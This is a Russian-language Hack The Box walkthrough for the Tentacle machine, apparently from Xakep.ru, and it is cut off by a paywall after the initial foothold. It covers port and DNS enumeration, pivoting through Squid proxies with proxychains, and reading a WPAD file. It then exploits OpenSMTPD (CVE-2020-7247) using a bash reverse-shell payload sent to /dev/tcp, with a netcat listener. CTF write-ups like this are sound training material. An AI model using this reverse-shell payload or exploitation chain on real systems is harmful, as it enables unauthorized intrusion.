Се­год­ня я покажу, как про­ходить машину Tentacle с пло­щад­ки Hack The Box. Для это­го нам понадо­бит­ся про­бирать­ся через прок­си в дру­гую сеть, а так­же исполь­зовать про­токол шиф­рования Windows для получе­ния дос­тупа к машине на Linux и повыше­ния при­виле­гий на ней.

warning

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

 

Разведка

 

Сканирование портов

Пер­вым делом про­писы­ваем IP машины в файл /etc/hosts.

10.10.10.224 tentacle.htb

Ска­ниру­ем пор­ты скрип­том в два про­хода:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Результат работы скрипта
Ре­зуль­тат работы скрип­та

На­ходим четыре откры­тых пор­та:

  • порт 22 — служ­ба SSH;
  • порт 53 — служ­ба DNS;
  • порт 88 — служ­ба Kerberos;
  • порт 3128 — прок­си‑сер­вер Squid 4.11.

С SSH нам пока делать нечего, пос­коль­ку учет­ных дан­ных у нас нет. C DNS и Kerberos тоже пока ничего не сде­лать. Обра­щаясь к пор­ту 3128, видим сооб­щение об ошиб­ке, но из него получа­ем важ­ные дан­ные — домен и имя поль­зовате­ля.

Ошибка, полученная при обращении к прокси-серверу
Ошиб­ка, получен­ная при обра­щении к прок­си‑сер­веру

Най­ден­ное домен­ное имя добав­ляем в /etc/hosts.

10.10.10.224 realcorp.htb
 

Перебор DNS

Боль­ше ничего сде­лать не можем, поэто­му поп­робу­ем попере­бирать домены. Для это­го исполь­зуем dnsenum. В парамет­рах ука­жем количес­тво потоков (--threads) и адрес сер­вера DNS (--dnsserver), а сло­варь берем из сбор­ки Seclists.

dnsenum --threads 32 --dnsserver 10.10.10.224 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt realcorp.htb
Обнаруженные поддомены
Об­наружен­ные под­домены

По­луча­ем нес­коль­ко новых домен­ных имен и адре­сов.

 

Точка входа

Так как на хос­те работа­ют служ­ба прок­си‑сер­вера и служ­ба DNS, логич­но про­верить, дос­тупны ли най­ден­ные из перебо­ра адре­са через этот прок­си. Для это­го сфор­миру­ем цепоч­ку прок­си с помощью proxychains. Наша цепоч­ка будет про­пус­кать тра­фик через текущий хост в дру­гую сеть. Proxychains добавит заголов­ки для мар­шру­тиза­ции пакетов во внут­реннюю сеть.

В кон­фигура­цион­ном фай­ле /etc/proxychains.conf соз­дадим три записи. Это и есть наша цепоч­ка.

http 10.10.10.224 3128
http 127.0.0.1 3128
http 10.197.243.77 3128

Так как имя хос­та — WPAD, есть немалое подоз­рение, что на нем работа­ет одно­имен­ная служ­ба. Поп­робу­ем дос­тучать­ся до него и прос­каниро­вать пор­ты.

proxychains -q nmap -A 10.197.243.31
Результат сканирования портов
Ре­зуль­тат ска­ниро­вания пор­тов

На этот раз получа­ем уже боль­ше откры­тых пор­тов, в том чис­ле и 80-й, где раз­вернут веб‑сер­вер nginx 1.14.1. Так­же мы получа­ем имя хос­та — wpad.realcorp.htb. Добав­ляем его в /etc/hosts.

10.197.243.31 wpad.realcorp.htb

Те­перь на мысль о служ­бе натал­кива­ет не толь­ко домен­ное имя, но и имя хос­та. Про­токол WPAD (Web Proxy Auto Discovery protocol) слу­жит для того, что­бы най­ти файл PAC (Proxy Auto Config) — кон­фигура­ции прок­си. Он пред­став­ляет собой JavaScript с опи­сани­ем логики, по которой бра­узер будет опре­делять, как под­клю­чать­ся к нуж­ному URL.

При совер­шении зап­роса бра­узер вызыва­ет фун­кцию FindProxyForURL из PAC-фай­ла, переда­ет туда URL и хост, а в резуль­тате ожи­дает узнать, через какие прок­си ходить на этот адрес. Что­бы получить эти нас­трой­ки, WPAD пыта­ется най­ти PAC-скрипт с помощью опции от DHCP-сер­вера (что бра­узе­рами прак­тичес­ки не под­держи­вает­ся), а затем отправ­ляет HTTP-зап­рос на http://wpad.[домен]/wpad.dat и ска­чива­ет получен­ный файл. Зна­чит, мы можем сами зап­росить файл wpad.dat с сер­вера.

proxychains -q curl wpad.realcorp.htb/wpad.dat
Код функции FindProxyForURL из файла wpad.dat
Код фун­кции FindProxyForURL из фай­ла wpad.dat

Прос­матри­ваем код и находим адре­са сетей, о которых мы рань­ше не зна­ли. Это откры­вает нам новые воз­можнос­ти для прод­вижения. Сто­ит прос­каниро­вать сеть, что­бы най­ти новые хос­ты, а там и точ­ки вхо­да (скрипт я при­водил в начале статьи). В резуль­тате ска­ниро­вания находим хост 113, в котором открыт 25-й порт. Его ска­ниру­ем с исполь­зовани­ем скрип­тов отдель­но (опция -A).

proxychains -q nmap 10.241.251.0/24
proxychains -q nmap -A -p25 10.241.251.113
Результат сканирования хостов в новой сети
Ре­зуль­тат ска­ниро­вания хос­тов в новой сети

Пе­ред нами OpenSMTPD. А зна­чит, сто­ит поис­кать готовые экс­пло­иты для него.

 

Закрепление

Ес­ли ты исполь­зуешь Kali Linux, то для обра­щения к базе экс­пло­итов дос­таточ­но запус­тить ути­литу searchsploit:

searchsploit OpenSMTPD
Поиск эксплоитов для OpenSMTPD
По­иск экс­пло­итов для OpenSMTPD

Экс­пло­ит с поряд­ковым номером 47984 выг­лядит под­ходящим. Вер­сия уяз­вимого про­дук­та здесь боль­ше, чем у нас. Экс­пло­ит может дать уда­лен­ное выпол­нение кода через сеанс SMTP. Из опи­сания уяз­вимос­ти CVE-2020-7247 так­же узна­ем, что баг воз­ника­ет из‑за неп­равиль­ного воз­вра­щаемо­го зна­чения при неудач­ной про­вер­ке вво­да в фун­кции smtp_mailaddr (под­робнос­ти можешь узнать в ко­де уяз­вимой фун­кции).

Од­нако в исходном виде этот экс­пло­ит не сра­баты­вает. Зачас­тую в таких слу­чаях помога­ет прос­то най­ти аль­тер­натив­ную вер­сию. Так, переб­рав нес­коль­ко вари­антов, я нат­кнул­ся на ра­бочий PoC на GitHub.

В коде нуж­но ука­зать свою наг­рузку и поменять имя поль­зовате­ля, которо­му отправ­ляет­ся сооб­щение. В качес­тве наг­рузки исполь­зуем обыч­ный реверс‑шелл на bash.

bash -i &> /dev/tcp/[IP]/[PORT] 0>&1
Код эксплоита: изменение имени пользователя
Код экс­пло­ита: изме­нение име­ни поль­зовате­ля
Код эксплоита: измененная нагрузка
Код экс­пло­ита: изме­нен­ная наг­рузка

Так как мы будем выпол­нять бэк­коннект (шелл на ата­куемой машине будет под­клю­чать­ся к нашей), преж­де чем запус­кать эту коман­ду, соз­дадим лис­тенер, который будет при­нимать соеди­нение. В качес­тве лис­тенера я исполь­зую netcat (коман­да nc), а в допол­нение к нему — обо­лоч­ку rlwrap.

apt install rlwrap
rlwrap nc -lvp [port]

Те­перь выпол­ним экс­пло­ит и получим бэк­коннект.

Результат выполнения эксплоита
Ре­зуль­тат выпол­нения экс­пло­ита
Полученный бэкконнект
По­лучен­ный бэк­коннект
 

Продвижение

 

Пользователь 1

От­лично, мы про­ник­ли на машину! Так как мы работа­ем в кон­тек­сте учет­ной записи служ­бы, сле­дующий шаг — получить какого‑либо поль­зовате­ля. Чаще все­го для это­го нуж­но най­ти учет­ные дан­ные.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Оставить мнение